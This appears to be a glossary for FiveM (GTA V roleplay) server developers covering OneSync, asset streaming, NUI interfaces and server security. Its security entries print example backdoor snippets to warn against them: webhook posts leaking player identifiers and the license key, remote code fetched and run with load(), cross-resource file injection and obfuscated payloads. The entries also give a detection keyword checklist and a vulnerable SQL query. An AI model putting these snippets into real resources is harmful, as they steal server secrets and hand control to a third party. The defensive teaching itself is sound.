The price to pay is real and worth knowing before you enable it. Many old resources create vehicles and props from the client, so setting strict breaks them. Garages, car dealerships, decoration scripts. Migrating them to server creation is the right way to fix it, and along the way it removes those scripts from your plate if they were badly written. Test on a dev server before touching production.
Ejemplo · Enabling the lockdown and how a vehicle now gets created # server.cfg. Needs OneSync enabled. set onesync on # inactive -> default, the client can create entities # relaxed -> middle ground # strict -> the client creates NOTHING, everything is created from the server set sv_entityLockdown "strict" # With strict, a garage can no longer do CreateVehicle on the client. # It has to create it in server.lua and return the netId: # local veh = CreateVehicle(model, x, y, z, heading, true, true) # TriggerClientEvent('garage:enter', src, NetworkGetNetworkIdFromEntity(veh))En qué se equivoca todo el mundo
- Enabling strict in production without testing. Garages, dealerships and prop scripts stop working all at once.
- Trying to use it without OneSync enabled. It does nothing.
- Thinking it replaces an anticheat. It closes one very specific door, creating entities, and nothing more.
Relacionado OneSync Infinity, culling and scope, server-authoritative- culling and scope
The mechanism by which the server only syncs to each player the entities that are nearby. The scope is the bubble of what a player sees. Culling is stopping sending what falls outside that bubble.
Without culling, each player would receive information about every car, ped and object on the map at once, and the network would collapse with thirty people. With OneSync, the server tracks what is inside whose scope and only sends that. It is the reason a two-hundred-player server spread across the map is viable.
The practical consequence that breaks scripts every day is this. An entity that exists on the server may NOT exist on your client, simply because it is far away. If you try to turn a netId into an entity and the object is outside your scope, you will not find it. That is why DoesEntityExist checks are mandatory and why the important logic runs on the server, which does see everything.
The server tells you when something enters and leaves a player's scope, with the playerEnteredScope and playerLeftScope events. They are the clean way to know who is seeing what without polling. And from the client you can adjust the culling radius of a specific entity you own, useful for large props that need to be seen from far away.
Ejemplo · The scope events and why you always check DoesEntityExist -- SERVER. The engine tells you when an entity enters or leaves someone's scope. AddEventHandler('playerEnteredScope', function(data) -- data.player = who now sees -- data['for'] = who they are seeing end) AddEventHandler('playerLeftScope', function(data) -- stopped seeing it end) -- CLIENT. A distant entity does NOT exist here, even if it exists on the server. RegisterNetEvent('garage:enter', function(netId) local veh = NetworkGetEntityFromNetworkId(netId) -- Without this check, veh may be 0 because it is out of scope if not DoesEntityExist(veh) then return end TaskWarpPedIntoVehicle(PlayerPedId(), veh, -1) end) -- CLIENT. Widen the culling radius of a big prop that must be seen from far SetEntityDistanceCullingRadius(prop, 500.0)En qué se equivoca todo el mundo
- Assuming a netId always turns into a valid entity on the client. If it is out of scope, it does not exist.
- Creating five hundred global props and trusting culling to save you. They still exist on the server and still cost.
- Polling constantly to know who is near what, when playerEnteredScope already tells you.
Relacionado OneSync Infinity, entity lockdown, render distance- render distance
The distance filter that decides whether your script does work or not. It is the simplest and most profitable technique in client-side optimization. If the player is far, do not draw, do not compute and do not read keys.
In FiveM distance is measured with vectors and the length operator. You write the subtraction of the two points between hashes and you already have the meters, with no manual formulas or square roots. It is very fast, and precisely because of that it works as a gatekeeper. First you measure the distance, and only if it passes the filter do you do the expensive work.
That gatekeeper goes in front of anything that draws. DrawMarker, DrawText3D, any scaleform. Drawing a marker two kilometers away costs exactly the same as drawing one right in front of you, and the player will not see it. And it goes in front of any keyboard reading, because there is no point checking whether they press E in a shop on the other side of the map.
Watch out for a classic trap in the old functions. Vdist returns the distance in meters, but Vdist2 returns the SQUARED distance. It is faster because it skips the square root, but if you compare its result against 20.0 thinking it is meters, your real radius is 4.5 meters and you do not understand why the marker does not show up until you are on top of it.
Ejemplo · The distance filter and the Vdist2 trap local point = vector3(-1037.0, -2738.0, 20.0) -- The modern way. Distance in meters, directly. local pos = GetEntityCoords(PlayerPedId()) local dist = #(pos - point) if dist < 50.0 then -- only here we draw, check keys, compute end -- BEWARE the old functions local d1 = Vdist(pos.x, pos.y, pos.z, point.x, point.y, point.z) -- meters local d2 = Vdist2(pos.x, pos.y, pos.z, point.x, point.y, point.z) -- SQUARED meters if d2 < 20.0 then end -- BAD. The real radius is 4.47 meters, not 20. if d2 < 20.0 * 20.0 then end -- GOOD, if you really want 20 meters with Vdist2. -- For props that must be seen from far, raise their LOD SetEntityLodDist(prop, 300)En qué se equivoca todo el mundo
- Drawing markers or 3D text without filtering by distance. It costs the same wherever they are.
- Comparing Vdist2's result as if it were meters. The real radius is the square root of what you think.
- Recomputing the distance to thirty points every frame instead of putting the loop in a dynamic Wait.
- asset streaming
The mechanism by which FiveM sends the client your server's custom assets (cars, MLO, clothing, props). Everything you put in a resource's stream/ folder is downloaded and loaded into the player's memory.
You do not have to declare the files one by one. It is enough to create a stream/ folder inside the resource and drop the .yft, .ytd, .ymap and so on in there. FiveM detects them on its own. For a map's custom props, on top of that, you have to declare the .ytyp with a data_file so the game knows they exist.
The cost has two sides and the player pays for both. The first is the download time on first connect, which with two hundred addon cars turns into several minutes and into people who leave before joining. The second, more serious, is memory. Each loaded asset takes RAM and VRAM on the client, and GTA V has limits that cannot be raised.
The discipline here carries weight, literally. An addon car with uncompressed 4096-pixel textures can reach 30 or 40 MB by itself. Multiply that by fifty cars and you have already melted the players with modest graphics cards. Before adding an asset, look at what its .ytd weighs, and if it is absurd, shrink it. A well-optimized car fits in a few megs and looks just as good.
Ejemplo · The stream folder and declaring a map's ytyp -- fxmanifest.lua of a mapping or cars resource fx_version 'cerulean' game 'gta5' -- Everything in stream/ is sent to the client automatically. -- You do not list the files one by one. -- stream/adder.yft -- stream/adder.ytd -- stream/adder_hi.yft -- For a map, you also have to declare the props' ytyp this_is_a_map 'yes' files { 'props.ytyp' } data_file 'DLC_ITYP_REQUEST' 'props.ytyp'En qué se equivoca todo el mundo
- Dropping fifty addon cars at once without looking at their texture weight. The memory crash arrives on its own.
- Using 4096-pixel textures for a car. With half of that it looks the same and takes a quarter of the space.
- Putting a ymap with custom props and forgetting the ytyp's data_file. The objects do not appear and nobody knows why.
Relacionado client memory and crash, render distance, ms per resource- client memory and crash
The client's out-of-memory crash, which shows up with codes like ERR_MEM. It is almost always excess streaming assets, not a problem with the player's PC.
The symptoms are recognizable. The game crashes on joining the server or on getting near a specific area. Black or flickering textures appear. Cars spawn without wheels. And the crash error codes usually start with ERR_MEM, which is the engine saying it has no room left. GTA V reserves memory in fixed-size blocks, and when your assets fill them, there is no more.
Before blaming the player's PC, do the math. If the crash hits lots of different people and started right when you added a car pack or a big MLO, it is not their PC. And even if the player has a powerful rig, GTA V's memory limits do not depend only on how much RAM they have, so a too-heavy pack crashes good machines too.
To diagnose it, bisection. Remove half the resources with a stream folder, boot, test. If the crash disappears, the culprit is in the half you removed, and you repeat. It is crude and it is infallible. Once located, the fix is to shrink the asset's textures (compress the .ytd, drop the resolution) or remove it from the server. There is no third option.
Ejemplo · The typical errors and how to find the culprit asset # What the player sees when the client runs out of memory ERR_MEM_EMBEDDEDALLOC_ALLOC ERR_MEM_MULTIALLOC_FREE Out of memory # Diagnosis by bisection (always works) # 1. Note ALL resources that have a stream/ folder # 2. Comment out half of their ensure lines in server.cfg # 3. Restart and test. Is the crash still there? # NO -> the culprit is in the half you removed. Repeat with that half. # YES -> the culprit is in the other half. Repeat with that one. # 4. In 4 or 5 passes you have the exact resource. # Then look at what its textures weigh # A car .ytd above 15 MB is a warning sign.En qué se equivoca todo el mundo
- Telling players to buy a better PC. If it hits lots of different people, the problem is yours.
- Adding a whole car pack without testing it first on a dev server.
- Confusing this crash with a script performance problem. The resmon ms have nothing to do with it here.
Relacionado asset streaming, resmon, render distance
Seguridad
Backdoors, trampas y protección del servidor.
- backdoor
Hidden code inside a seemingly normal resource that grants unauthorised access or control of the server. It steals money, leaks the database, grants itself admin or runs commands. It is common in leaked Discord packs.
A server_script runs with the full authority of the server, so a single malicious resource is enough to do damage. A backdoor does not live in an oddly named suspicious file, it hides inside the code of a shop, a map or a HUD that otherwise works fine. That is why people install it without noticing.
It is recognised by what it DOES, not by what it is called. The real patterns that give one away are PerformHttpRequest to a Discord webhook or a bare IP, assert(load(...)) or loadstring over obfuscated hex or base64 strings, os.execute or io.popen, and ExecuteCommand('add_principal ...') to grant permissions. The Crxative-M scanner flags exactly these patterns and gives them a risk score.
The defence is twofold. First, read and scan every resource of uncertain origin before you push it, especially free or leaked packs. Second, keep tested backups, because a backdoor can empty your city in minutes and often you do not notice until there is nothing left to recover.
Ejemplo · Two typical backdoor signatures the scanner flags as critical -- 🚩 This must NOT be in your resources. It is a backdoor. -- Leaks the player identifiers to the attacker's Discord webhook PerformHttpRequest('https://discord.com/api/webhooks/XXX/YYY', function() end, 'POST', json.encode({ content = GetPlayerIdentifiers(src)[1] }), { ['Content-Type'] = 'application/json' }) -- Runs an obfuscated payload you cannot read at a glance assert(load('\x6f\x73\x2e...'))()En qué se equivoca todo el mundo
- Believing a 'popular' or widely shared pack is safe. Repackaged leaks are exactly where they show up most.
- Accepting that the code is obfuscated 'to protect the licence'. A clean resource does not need to hide what it does on your server.
- Trusting the scanner and skipping the code review. The scanner is heuristic and helps, but human review is still the last line.
- resheller
A tool or code that repackages (re-shells) someone else's resource to reinject a backdoor or bypass its protection. It is one of the ways a 'free' copy of a paid resource ends up carrying malware.
Someone takes a legitimate resource, sometimes a paid one that has leaked, injects their own code inside it and redistributes it as if it were the original. The victim thinks they are installing the resource they know, but they are installing the version with a back door.
The truly dangerous pattern here is self-rewriting. A resource that uses SaveResourceFile or LoadResourceFile to modify other resources, or that downloads code with PerformHttpRequest and runs it with load, is doing things no honest script needs. The Crxative-M scanner scores these patterns as critical.
The practical protection is to not install 'free' paid resources circulating on Discord, and to compare the hash or size against the official version when you can. If a resource modifies itself or touches other resources' files, treat it as compromised.
Ejemplo · SaveResourceFile and remote loading, resheller signatures -- 🚩 Self-rewriting: a resource editing other resources local payload = LoadResourceFile(GetCurrentResourceName(), 'inject.lua') SaveResourceFile('es_extended', 'server/hidden.lua', payload, -1) -- 🚩 Downloads and runs remote code (the server obeys a third party) PerformHttpRequest('http://1.2.3.4/x.lua', function(_, body) load(body)() end)En qué se equivoca todo el mundo
- Thinking only scripts carry a resheller. A map or car pack with a server.lua making requests to odd sites is just as suspicious.
- Trusting the author name in the fxmanifest. Anyone can write the original author's name into a repackaged resource.
- obfuscated code
Code written on purpose so you cannot read what it does, with hex or base64 strings, unreadable names and functions that 'decrypt' themselves. In FiveM it is the usual signature of a hidden backdoor.
Obfuscation turns a readable script into a soup of characters. You see very long \xNN byte strings, huge base64 blocks, string.char with dozens of numbers, or identifiers like _0x4a2f that mean nothing. The goal is that you open the file, understand nothing and install it anyway.
The reason it is dangerous is not the obfuscation itself, it is what usually comes with it. Obfuscated code almost always ends in a load or loadstring that runs that string once decoded. That pair, an unreadable string plus dynamic loading, is what the scanner flags as high or critical.
The most repeated excuse is that it is obfuscated 'to protect the licence'. It does not hold up. Serious paid resources protect their licence with the Cfx escrow, which encrypts only the parts they choose and leaves the rest readable. A whole unreadable resource that also makes network requests is a red flag, not an anti-piracy measure.
Ejemplo · Hex and string.char obfuscation, both end in load() -- 🚩 Obfuscated string + dynamic load = payload that runs itself local blob = '\x6c\x6f\x61\x64\x73\x74...' -- unreadable on purpose assert(load(blob))() -- 🚩 Variant with string.char (same trick, different form) load(string.char(111,115,46,101,120,101,99,117,116,101))()En qué se equivoca todo el mundo
- Confusing minified code with malicious code. A minified NUI JS is normal. An unreadable server Lua with load() is not.
- Assuming that if the resource 'works fine' it cannot hide anything. The backdoor is designed to work fine while it steals in the background.
- escrow (Cfx asset protection)
The official Cfx.re resource protection system. It encrypts the parts the author marks as protected and binds them to your license key, so the resource only works on authorised servers without exposing all the code.
When you buy a resource on Tebex linked to your Cfx account, its protected files travel encrypted and the server decrypts them in memory with your license key. You see the resource structure and the config parts, but the protected core is neither readable nor copyable. It is the legitimate way to sell code without giving it away.
This matters for security because it marks the difference between legitimate protection and suspicious obfuscation. Escrow protects specific parts and leaves the fxmanifest and config visible. A backdoor obfuscates the whole file and on top makes odd network requests. If something claims to be 'protected' but does not go through Cfx escrow, you have no guarantee of what it does.
Escrow also explains the 'failed to verify protected resource' error. That failure appears when the server cannot validate an escrow resource against Cfx, almost always because of a wrong license key, no connection to the Cfx servers, or a resource that is not assigned to your account.
Ejemplo · Escrow validates the resource against your Cfx license key # An escrow resource needs your correct license key in server.cfg sv_licenseKey "cfxk_YOUR_REAL_KEY" # And the resource must be assigned to your Cfx account (Keymaster). # If not, the console shows: failed to verify protected resourceEn qué se equivoca todo el mundo
- Thinking escrow means 'the whole resource is encrypted'. Only the parts the author marks are. The rest stays readable.
- Believing an escrow resource cannot carry a backdoor. Escrow protects the author's code, it does not guarantee the author is honest. Scanning it is still worth it.
- 'failed to verify protected resource'
A FiveM error that appears when the server cannot validate an escrow-protected resource against Cfx.re. The resource does not start until verification passes.
The message shows in the server console when starting a purchased resource that uses asset protection. FiveM tries to confirm with the Cfx servers that the resource is authorised for your license key and, if the check fails, it blocks the start. It is not a bug in your code, it is a verification failure.
The real causes are few and specific. The license key in server.cfg is wrong, empty or from another server. The resource is not assigned to the Cfx account that owns that key in Keymaster. The server has no internet route to Cfx. Or you downloaded the resource from a source that is not your purchase, so its signature does not match your account.
The fix means checking sv_licenseKey, confirming in Keymaster that the resource is on your account, and making sure the server can talk to Cfx. If it still fails with a resource someone 'passed you', be suspicious, because a legitimate escrow resource only comes from your own purchase.
Ejemplo · Diagnosing the escrow verification error # In the server console on start: # [resources] Couldn't start resource my_resource. # failed to verify protected resource my_resource # Checks, most to least likely: # 1) sv_licenseKey correct and not empty in server.cfg # 2) resource assigned to your account at keymaster.fivem.net # 3) the server has an internet route to cfx.re # 4) you downloaded the resource from your own purchase, not a leakEn qué se equivoca todo el mundo
- Editing the resource code to 'fix it'. An escrow resource is not edited inside, and doing so breaks verification.
- Reusing another server's license key. Each key goes with its server and its Cfx account.
- anticheat
A system that detects and stops cheaters on a FiveM server, watching for impossible actions like money out of nowhere, teleports or hand-fired events. It does not replace server-side validation, it complements it.
An anticheat watches behaviour and looks for what should not happen. A player earning a million with no income source, one appearing in two places at once, or one firing network events that only the server should fire. When it detects something like that, it warns, kicks or bans.
The underlying mistake is believing an anticheat makes you immune. It does not. Most economy cheats are stopped on the server, checking each action before granting it. If your give-money event trusts the number the client sends, no anticheat fixes that, because the server itself is handing out the money. The anticheat is a second layer, not the first.
In FiveM there are external anticheats and also OneSync protection alongside good network practices. The most cost-effective approach combines three things. Validate everything on the server, use tightly scoped network events, and on top an anticheat that catches whatever slips through.
Ejemplo · Server-side validation stops dead what an anticheat would only detect afterwards -- The first defence is NOT the anticheat, it is server-side validation RegisterNetEvent('shop:buy', function(itemId, amount) local src = source -- The client asks, the server decides if type(amount) ~= 'number' or amount < 1 or amount > 10 then -- Impossible or tampered action, ignored (and can be logged) return DropPlayer(src, 'Tampered data') end -- ...only here, already validated, do we charge and deliver end)En qué se equivoca todo el mundo
- Installing an 'all in one' anticheat downloaded from a random Discord. Many of those are the backdoor itself dressed as protection.
- Trusting the economy to the anticheat and leaving server events unvalidated. It fixes the symptom and leaves the door open.
- SQL injectionESXQBCoreQboxox
A vulnerability where player data is placed directly inside an SQL query, allowing the database to be altered or stolen. In FiveM it is avoided by using parameterised queries with oxmysql.
The flaw appears when you build the query by gluing in text that comes from the player. If a name, a plate or a message is concatenated into the SQL, a malicious player can close the string and add their own command. From there they can read the users table, delete data or change balances.
The protection is simple and non-negotiable. Never concatenate values into the query. Use parameters, those question marks or placeholders that oxmysql safely substitutes for you. The engine escapes the value, so even if the player enters quotes or semicolons, they are treated as text, not as SQL code.
This ties into the general FiveM rule. Any data coming from the client is suspect. The parameterised query solves injection, but on top it is worth validating the data itself first, checking type and range, so you do not store junk or trust lengths or formats.
Ejemplo · Concatenation is the injection path. The ? parameter closes it -- 🚩 Vulnerable: the player name is glued into the SQL local name = clientRequest MySQL.query('SELECT * FROM users WHERE name = \'' .. name .. '\'') -- ✅ Safe: parameterised query, oxmysql escapes the value MySQL.query('SELECT * FROM users WHERE name = ?', { name }, function(rows) -- rows contains only what matches, no injection risk end)En qué se equivoca todo el mundo
- Escaping quotes by hand instead of using parameters. A case always slips through. The engine does it right, you do not.
- Validating on the client and relaxing. Client validation is cosmetic, the parameter protects the query on the server.
- insecure net event (trusting the client)
A server RegisterNetEvent that acts on what the client sends without checking it. Since any player can fire that event with whatever parameters they want, it is the main door for cheats.
In FiveM the client and the server talk through network events. The problem starts when the server listens to an event and trusts the content. The client is not your code running on your machine, it is the player's game, and a cheater can call your events with any value from a mod menu or from the console.
The classic case is the event that gives money, items or permissions by reading the amount from the message itself. The server receives amount and adds it without more. A player just has to fire that event with a huge number. It is also dangerous to not use source correctly, because source is trustworthy (the server sets it), but any player id that arrives inside the message is not.
The rule is that the client asks and the server decides. Check the type and range of each parameter, verify the action makes sense for that player, and use source as identity instead of trusting an id that arrives in the data. Also, mark events with RegisterNetEvent only when they truly must be firable from the client.
Ejemplo · source is trustworthy, message parameters are not. Always validate -- 🚩 Insecure: gives whatever the client asks, to whoever the client says RegisterNetEvent('job:pay', function(targetId, amount) addMoney(targetId, amount) end) -- ✅ Safe: identity by source, validated values, business rule RegisterNetEvent('job:pay', function(amount) local src = source -- trustworthy identity if type(amount) ~= 'number' then return end if amount <= 0 or amount > 500 then return end -- cap per action if not hasJob(src, 'mechanic') then return end addMoney(src, amount) end)En qué se equivoca todo el mundo
- Using a player id that comes inside the event instead of source. That id can be forged. source cannot.
- Marking as RegisterNetEvent things only the server should use. If the client should not fire it, do not expose it to the network.
- Validating on the client before sending and thinking that is enough. That validation is trivially bypassed. The one that counts is the server's.
- server-side validation
Checking every important action on the server (money, items, permissions, position) before granting it, without trusting what the client says. It is the server-authoritative principle and what prevents most cheats.
The server is your machine and the only trustworthy authority. The client is the player's game and it may be tampered with. Server-side validation means no valuable action completes just because the client asked for it. The server checks and then grants or rejects.
A complete validation looks at three things. The type and range of the data (that the amount is a positive number within a reasonable cap). The business coherence (that the player has the balance, the job, the item or is where they should be). And identity by source, never by an id arriving in the message. With those three, most economy exploits fall on their own.
Server-side validation does not clash with a good experience. The client can still show menus, hide buttons or warn of errors so the game flows, but that is visual convenience. The real decision, the one that moves money or grants permissions, always lives on the server.
Ejemplo · Type, range, coherence and identity. The four basic checks -- Server-side validation pattern, top to bottom RegisterNetEvent('market:sell', function(itemId, amount) local src = source -- 1) type and range if type(amount) ~= 'number' or amount < 1 or amount > 100 then return end -- 2) business coherence: they really have those items if getItemCount(src, itemId) < amount then return end -- 3) identity by source, already used above removeItem(src, itemId, amount) addMoney(src, priceOf(itemId) * amount) end)En qué se equivoca todo el mundo
- Duplicating the business logic on the client and believing it is validated. That copy is for UX, not for security.
- Validating the type but not the range. Accepting any number lets absurd amounts through.
- Forgetting to check coherence. That the data is valid does not mean the player is entitled to that action.
- Discord webhook (and why it leaks)
A URL that lets you post messages to a Discord channel. It is useful for server logs, but it is also the typical way a backdoor exfiltrates data, so its presence in an unknown resource is a warning sign.
A webhook is a public mailbox for a channel. Anyone who has the URL can write to that channel without authenticating. You use it to dump connection, sale or sanction logs. The problem is that a backdoor uses that same ease to send an attacker's channel the identifiers of your players, your license key or a dump of your database.
The Crxative-M scanner flags as critical any discord.com/api/webhooks/ embedded in a resource, because it is an exfiltration pattern. A shop or clothing resource carrying a webhook to a channel that is not yours has no honest justification. If you did not put the webhook there and it does not point to your server, assume the worst.
For your own logs, two cares. Treat the webhook URL as a secret, because whoever has it can flood your channel, so it goes in a secrets.cfg and is read with GetConvar, never written in the .lua nor pushed to git. And check that no third-party resource carries webhooks pointing outside your control.
Ejemplo · A webhook stealing the license key versus a well-stored own log -- 🚩 Backdoor: webhook to a channel that is NOT yours, with stolen data PerformHttpRequest('https://discord.com/api/webhooks/AAA/BBB', function() end, 'POST', json.encode({ content = GetConvar('sv_licenseKey', '') }), { ['Content-Type'] = 'application/json' }) -- ✅ Your legit log: the URL comes from a secret, not from the code local url = GetConvar('webhook_logs', '') if url ~= '' then PerformHttpRequest(url, function() end, 'POST', json.encode({ content = 'Player connected' }), { ['Content-Type'] = 'application/json' }) endEn qué se equivoca todo el mundo
- Leaving the webhook URL written in the code and pushing it to a repository. Anyone reading the repo can spam your channel.
- Ignoring a webhook in a third-party resource 'because it must be for logs'. If it does not point to your server, it is exfiltration until proven otherwise.
Relacionado backdoor, auditing a downloaded resource before using it, rate limit- rate limit
A limit on how many times a player can fire an action or event within a time window. It prevents an event from being abused by repeating it very fast (spam, item duplication, overload).
Even if you validate an event well, a player can try to fire it hundreds of times a second to force a sync failure, duplicate an item or overload your database. The rate limit sets a ceiling. For example, that this event can only be used once per second per player, and it drops or penalises anything past that.
On the server it is implemented by storing per player the moment of the last action and comparing it against the clock. If the player calls again before the minimum time passes, it is ignored. It is cheap and it stops repetition attacks dead, along with many duplication bugs that rely on calling twice almost at once.
The rate limit also protects external resources. If your event runs a heavy query or calls an API, without a limit a player can bring down your database or drain the API quota by spamming. Combine it with normal validation, one controls the what and the other the how many times.
Ejemplo · A per-player cooldown with GetGameTimer stops event spam local lastUse = {} -- per player, when they last used the action RegisterNetEvent('atm:withdraw', function(amount) local src = source local now = GetGameTimer() -- Only once every 1000 ms per player if lastUse[src] and now - lastUse[src] < 1000 then return -- too fast, ignored end lastUse[src] = now -- ...normal validation and the action go here end) AddEventHandler('playerDropped', function() lastUse[source] = nil -- clean up on leave end)En qué se equivoca todo el mundo
- Storing the cooldown in a global variable instead of per player. Then one blocks everyone or no one is limited.
- Not clearing the table when the player disconnects. Over time it piles up dead entries.
- auditing a downloaded resource before using it
Reviewing and scanning a resource of uncertain origin before installing it in production, looking for backdoor patterns. It is the practice that prevents the most grief, because a single malicious resource runs with the full authority of the server.
Every resource you install is code that runs with full powers over your economy and your database. Auditing before installing is the difference between finding a backdoor on your test machine and finding it once it has already emptied your city. The audit has an automatic part and a human part, and the two add up.
The automatic part is done by a scanner like Crxative-M's, which walks the text files of the zip and flags dangerous patterns with a risk score. It looks for Discord webhooks, load and loadstring over obfuscated strings, os.execute and io.popen, add_principal, PerformHttpRequest to IPs or pastebins, SaveResourceFile and reads of sensitive convars. If the verdict is blocked, do not even open it in production.
The human part is reading what the scanner flags and what a pack of its kind should not have. A map or car resource does not need a server.lua making network requests nor obfuscated code. Test the unknown on an isolated local server, never straight into production, and keep backups in case something slips through.
Ejemplo · A five-step audit, automatic plus human reading Quick checklist before installing a third-party resource 1. Scan the zip. If the verdict is blocked, discard it. 2. Open the server .lua files and look for: discord webhooks, load/loadstring, os.execute, io.popen, add_principal, PerformHttpRequest to IP/pastebin, SaveResourceFile, GetConvar of sv_licenseKey or mysql. 3. Ask yourself: does a resource of THIS kind need to do that? A map does NOT need network access. 4. Test it on an isolated local server, never straight into production. 5. Back up the database before touching production.En qué se equivoca todo el mundo
- Installing straight into production 'to test quickly'. If it carries a backdoor, the damage is done before you notice.
- Scanning only the first file. The backdoor is usually in a secondary server.lua or inside a folder with an innocent name.
- Trusting that 'lots of people use it'. Leaked and repackaged packs are precisely the most shared.
Relacionado backdoor, resheller, obfuscated code
Interfaz (NUI)
Menús y HUD en HTML dentro del juego.
- NUI
New User Interface. FiveM's interface layer based on HTML, CSS and JavaScript, drawn over the game. It is what you use for menus, HUD, phones and panels, and it talks to Lua through messages.
FiveM embeds a browser (CEF, the same Chromium engine as Chrome) and paints it over the game. That web layer is the NUI. You program the interface with what you already know from the web, HTML for structure, CSS for looks and JavaScript for logic, and that page lives in the player's client.
Since the NUI lives in the client, it needs a bridge to talk to your Lua and, through it, to the server. That bridge has two directions. From Lua to the interface with SendNUIMessage, and from the interface to Lua with a fetch that lands in a RegisterNUICallback. The NUI loads when the resource starts and stays on top always, so your interface must be born hidden and only show when Lua asks.
The most important thing for security is that the NUI and the client are not trustworthy. Any player can open the DevTools and fire your fetch calls with whatever data they want. That is why the interface never decides anything of value. Money, items and permissions are always validated on the server.
Ejemplo · Without ui_page and files{} the browser cannot find your interface -- fxmanifest.lua: you declare the page and the resource's web files ui_page 'html/index.html' files { 'html/index.html', 'html/style.css', 'html/app.js' }En qué se equivoca todo el mundo
- Treating the NUI as trusted code. It is the player's browser, it can be tampered with entirely from the DevTools.
- Leaving the interface visible by default. It should be born with display:none and only show when Lua sends open.
- SendNUIMessage
The Lua function that sends data to the NUI. You pass it a table and that table reaches JavaScript as an object inside window's message event. It is the path from Lua to the interface.
To talk to the interface, Lua uses SendNUIMessage with a table. The universal convention is to include an action field saying what to do, and the rest of the data alongside it. On the web side that message arrives as a message event on window, and inside e.data you have exactly the table you sent.
The usual pattern is to read e.data.action and act accordingly, showing a panel, updating a HUD or painting a list. A single resource usually sends several different actions (open, close, update) over the same channel, and the JavaScript decides what to do with each one.
SendNUIMessage does not give focus nor show the cursor. It only sends data. If you want the player to be able to click on what you just showed, you have to give focus separately with SetNuiFocus. For a HUD that only informs, SendNUIMessage is enough and no focus is needed.
Ejemplo · A table with action and data. It reaches JS as e.data -- Lua sends data to the interface SendNUIMessage({ action = 'open', title = 'Worker panel', money = 1500 })En qué se equivoca todo el mundo
- Forgetting the action field and then not knowing in JS which message is which. The action convention keeps it all in order.
- Expecting SendNUIMessage to show the cursor. It does not. Focus is SetNuiFocus's job.
Relacionado NUI, RegisterNUICallback, SetNuiFocus- RegisterNUICallback
The Lua function that receives a fetch sent from the NUI. Its name must match the fetch URL. It receives the body data and a cb function you must always call to close the cycle.
Every fetch your JavaScript makes needs its pair in Lua, a RegisterNUICallback with the same name. The function receives two things, data with what you sent in the fetch body, and cb, a response function. You must always call cb, even with cb('ok'), because otherwise the browser fetch hangs waiting.
The callback is the place where the client asks the server for something, not where it is granted. Giving money or items directly here is a mistake, because a player can fire the fetch from the DevTools with whatever data they want. The right thing is to notify the server with TriggerServerEvent and let the server validate and decide.
The callback is also where you usually close the interface cleanly, releasing focus with SetNuiFocus(false, false) and telling the NUI to hide. That pattern, receiving the action, notifying the server, answering cb and closing focus, is the skeleton of almost every NUI interaction.
Ejemplo · Receive data, notify the server, answer cb and close focus -- The Lua pair of the fetch. Same name as the URL. RegisterNUICallback('collectPay', function(data, cb) -- We do not give money here: the client is not trustworthy TriggerServerEvent('myscript:collectPay', data.amount) cb('ok') -- ALWAYS answer, or the fetch hangs end) RegisterNUICallback('close', function(data, cb) SetNuiFocus(false, false) SendNUIMessage({ action = 'close' }) cb('ok') end)En qué se equivoca todo el mundo
- Forgetting to call cb(...). The fetch waits for a response forever.
- Giving money or items inside the callback. That is trusting the client. Notify the server and let it decide.
- Giving the callback a name different from the fetch URL. If they do not match, it never fires.
- fetch from NUI (https://resource-name/)
The call the NUI JavaScript makes to send data to Lua. The URL has the form https://RESOURCE_NAME/callbackName, and that name is obtained with GetParentResourceName() so it does not break when you rename the resource.
When the player presses a button, the JavaScript passes the ball back to Lua with a fetch. That URL does not point to the internet, it is an internal FiveM address that routes the request to your resource's matching RegisterNUICallback. The URL host is the resource name and the path is the callback name.
The resource name is never written by hand. It is obtained with GetParentResourceName(), a function FiveM exposes in the NUI. If you write it by hand and later rename the resource folder, the fetch stops finding the callback and the interface looks broken without a clear error. With GetParentResourceName() it adjusts on its own.
The fetch is normally made with method POST, a Content-Type application/json header and a body with JSON.stringify of your data. On the other side, the callback receives that JSON already converted to a Lua table. It is worth reading the cb response to know Lua answered, even if it is a simple ok.
Ejemplo · Internal URL with GetParentResourceName and a JSON body // The resource name comes from GetParentResourceName(), never by hand fetch(`https://${GetParentResourceName()}/collectPay`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ amount: 250 }) }) .then((resp) => resp.json()) .then((res) => console.log('Lua answered', res));En qué se equivoca todo el mundo
- Writing the resource name by hand. It breaks the moment you rename the folder.
- Forgetting the Content-Type application/json header. The callback may receive malformed data.
- Not sending a body in a POST and then expecting data in the callback. If you send nothing, data arrives empty.
- SetNuiFocus
The Lua function that gives or takes focus from the NUI. SetNuiFocus(true, true) lets the player use mouse and keyboard on the interface and shows the cursor. SetNuiFocus(false, false) returns it to the game.
SetNuiFocus has two parameters. The first gives focus, meaning the game stops capturing keyboard and mouse so the NUI receives them. The second shows the cursor. For a panel with buttons you want both true. For a HUD that only informs and receives no clicks, do not give focus, so the player keeps playing normally.
The most famous bug in all of NUI is forgetting SetNuiFocus(false, false) on close. The cursor stays stuck on screen and the player cannot move or look around. That is why, every time you open with focus, you must make sure to release it on close, usually inside the closing RegisterNUICallback.
If you get stuck with a stuck cursor while testing, there is an emergency trick. Open the client F8 console and type SetNuiFocus(false, false) to free yourself without closing the game. It works for debugging, but the real fix is to close focus properly in your code.
Ejemplo · Open with focus and close releasing it. The classic bug is forgetting the second -- Open an interactive panel: focus and cursor RegisterCommand('panel', function() SetNuiFocus(true, true) -- focus + cursor SendNUIMessage({ action = 'open' }) end, false) -- Close: ALWAYS release focus, or the cursor stays stuck RegisterNUICallback('close', function(_, cb) SetNuiFocus(false, false) SendNUIMessage({ action = 'close' }) cb('ok') end)En qué se equivoca todo el mundo
- Forgetting SetNuiFocus(false, false) on close. It is THE classic NUI bug, the cursor gets stuck.
- Giving focus to a HUD that only informs. The player is left unable to play by an interface that does not even take clicks.
Relacionado NUI, SendNUIMessage, HUD- ui_page
The fxmanifest directive that tells FiveM which HTML is your NUI's main page. Together with files{}, which lists everything the browser must be able to load, it is what makes your interface exist.
In the fxmanifest you declare two things for the NUI. ui_page points to the HTML drawn over the game, for example 'html/index.html'. And files{} lists everything the browser needs to load, the HTML itself, the CSS, the JavaScript and the images. If a file is not in files{}, the browser does not find it and does not load it.
Paths are relative to the resource root and must match the real folders exactly. A misplaced slash or a mismatched capital letter gives a blank screen or makes the CSS and JS not load, without an obvious error. It is one of the most common causes of 'the NUI does not appear'.
One detail that confuses many people. ui_page also accepts a URL, but the normal and recommended thing is to serve your local HTML from the resource itself. That way everything travels with the resource and you do not depend on an external site being available nor expose the player to outside content.
